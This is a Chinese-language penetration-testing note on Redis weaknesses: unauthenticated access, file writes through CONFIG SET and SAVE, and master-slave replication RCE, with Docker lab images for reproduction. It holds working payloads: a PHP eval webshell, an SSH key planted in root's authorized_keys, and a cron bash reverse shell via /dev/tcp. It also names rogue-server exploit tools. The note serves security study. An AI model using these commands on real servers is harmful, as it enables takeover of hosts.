Redis 漏洞
未授权访问
- 作用: 可以直接进入到Redis交互界面中
- 条件: 可访问Redis服务(Redis服务默认绑定
127.0.0.1:6379
, 通过bind
与port
配置项设置) 未设置Redis密码(Redis默认没有密码, 通过requirepass
配置项设置) - 可外网访问Redis服务的情况
bind
值为0.0.0.0
bind
配置项被注释掉(等效于bind 0.0.0.0
), 且protected-mode
值为no
写入文件
- 条件:
- Redis < 6 或 Redis > 6 且
enable-protected-configs
配置项值为yes - 能操控Redis执行的语句 注意: Redis > 6时, 新增了个不可动态修改的配置项
enable-protected-configs
(默认值为no), 当其值为no时, 会使得被保护的配置项 不可被动态修改 (dir 与 dbfilename)
- Redis < 6 或 Redis > 6 且
- 原理:
- 设置 redis数据库存放目录(
dir
配置项) 到位置place - 设置 数据库名字(
dbfilename
配置项) 为filename, - 设置随意参数, 给参数赋值content
- 导出数据库(
save
命令) - 就可以在place写入文件filename内容为content 和其它参数等内容
- 设置 redis数据库存放目录(
- 写入webshell
config set dir /var/www/html/
config set dbfilename shell.php
set xxx "\n\n<?php eval($_REQUEST['adm']);?>\n\n"
save
# \n\n 代表换行的意思, 用redis写入文件的会自带一些版本信息, 如果不换行可能会导致无法执行
- 写ssh-keygen公钥**漏洞复现**:
docker pull medicean/vulapps:r_redis_1
docker run --name=redisvul -d -p 22:22 -p 6379:6379 medicean/vulapps:r_redis_1
config set dir /root/.ssh/
config set dbfilename authorized_keys
set xxx "\n\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINqc+lsHc0C4vpFhg/g+H+VumjWQOvxNVMf7QRQLBGe+ kali@kali\n\n"
save
- 写入计划任务反弹shell**前提**: 只适用于Centos (Ubuntu不可用, 因为redis写文件默认644权限, 而Ubuntu要求用户定时文件权限必须为600, 否则回报错; 且redis写入文件的会自带一些版本信息, 会导致Ubuntu报错)
config set dir /var/spool/cron/
config set dbfilename root
set xxx "\n\n* * * * * bash -i >& /dev/tcp/127.0.0.1/1234 0>&1\n\n"
save
主从复制RCE
- 前提:
- Redis版本 4.x / 5.x
- 能操控Redis执行的命令
- 作用: 可造成Redis所在主机上的任意命令执行
-
原理: 背景: Redis中包含主从模式, 且从Redis4开始, Redis支持动态加载模块 主从模式: 以一个redis服务器作为主节点, 其它的作为从节点(备份机), 当主节点数据被改变时, 从节点会对主节点进行同步(同步的方法由主节点决定, 可选择全量同步/增量同步) 主从模式设置:
- 从节点用
SLAVEOF <主节点ip> <主节点端口>
配置其主节点 (redis5开始可以使用REPLICAOF
, 使用方法相同) - 主节点无需特殊配置, 从节点配置好后其自己就会自动与主节点连接
- 可用
INFO replication
查看主从状态 动态加载模块: 可以使用MODULE LOAD
指令加载外部的.so文件作为模块使用 漏洞原理:
- 在目标Redis上执行
SLAVEOF
或REPLICAOF
将攻击机上Redis当作主节点 - 攻击机让目标进行全量同步, 并发送恶意so文件
- 目标加载恶意so文件并执行, 即可造成RCE
- 从节点用
- 攻击攻击脚本:
- metasploit的exploit/linux/redis/redis_replication_cmd_exec模块 (成功率高, 且不会摧毁Redis服务)
- Testzero-wz/Awsome-Redis-Rogue-Server: Redis-Rogue-Server Implement
- n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (不能密码认证, 只能用于Redis未授权)
- vulhub/redis-rogue-getshell: redis 4.x/5.x master/slave getshell module复现: vulhub\redis\4-unacc